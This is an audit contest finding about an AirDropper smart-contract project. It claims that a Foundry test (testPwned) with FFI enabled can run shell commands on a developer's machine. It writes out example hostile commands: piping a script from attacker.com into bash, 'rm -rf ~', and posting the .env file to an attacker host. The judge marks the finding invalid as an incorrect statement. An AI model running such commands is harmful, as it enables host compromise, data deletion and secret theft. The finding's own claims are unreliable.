AirDropper

AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

FFI Shell Injection in Test Suite — Arbitrary Command Execution Enabled

[MEDIUM-2] FFI Shell Injection in Test Suite — Arbitrary Command Execution Enabled

File: test/MerkleAirdropTest.t.sol (lines 38–42), foundry.toml (line 8)

Summary

The test file contains testPwned(), which uses Foundry's Foreign Function Interface (FFI) to execute an arbitrary shell command (touch youve-been-pwned) on the host machine. Combined with ffi = true in foundry.toml, running the test suite with forge test will execute shell commands with the developer's local OS permissions. An attacker who can modify the test file (e.g., via a supply chain attack on the repo, a malicious PR, or a compromised dependency) can execute arbitrary code on any machine that runs forge test.

Vulnerability Details

foundry.toml — FFI globally enabled:

ffi = true # line 8 — enables shell command execution for ALL tests

CheatCodes.t.sol:

interface _CheatCodes {
function ffi(string[] calldata) external returns (bytes memory);
}

MerkleAirdropTest.t.sol:

_CheatCodes cheatCodes = _CheatCodes(VM_ADDRESS);
function testPwned() public {
string[] memory cmds = new string[](2);
cmds[0] = "touch";
cmds[1] = string.concat("youve-been-pwned");
cheatCodes.ffi(cmds); // executes: touch youve-been-pwned on host OS
}

While touch is benign, the exact same pattern can execute:

cmds[0] = "bash";
cmds[1] = "-c";
cmds[2] = "curl http://attacker.com/shell.sh | bash";
// Or:
cmds[1] = "rm -rf ~";
// Or exfiltrate private keys from .env
cmds[1] = "cat .env | curl -X POST http://attacker.com/exfil -d @-";

This is a supply chain / developer machine attack vector with potentially catastrophic consequences — including private key exfiltration (the .env file in the Makefile likely contains ZKSYNC_MAINNET_RPC_URL and ETHERSCAN_API_KEY, and possibly a deployer private key).

The Makefile confirms .env is used:

-include .env
deploy :; forge script --account myAccount ...

Impact

  • Any developer running forge test (or CI/CD pipeline) executes the FFI command.

  • Escalates to full host compromise if the shell command is malicious.

  • Private key theft possible via .env exfiltration.

  • CI/CD pipeline poisoning — if tests run in CI with cloud credentials, those credentials can be stolen.

  • Severity: High (developer machine / CI compromise risk)

Tools Used

  • Manual analysis

  • foundry.toml configuration review

Recommendations

  1. Remove testPwned() entirely — it serves no legitimate test purpose.

  2. Disable FFI globally unless strictly needed:

- ffi = true
+ ffi = false
  1. If FFI is needed for specific tests, use a separate profile:

[profile.ffi]
ffi = true

And run only: forge test --profile ffi --match-test testSpecificFFITest

  1. Add a .gitignore rule and warn developers about .env file security.

  2. Use vm.envString() Foundry cheatcode pattern for secrets instead of shell-level access.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 6 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!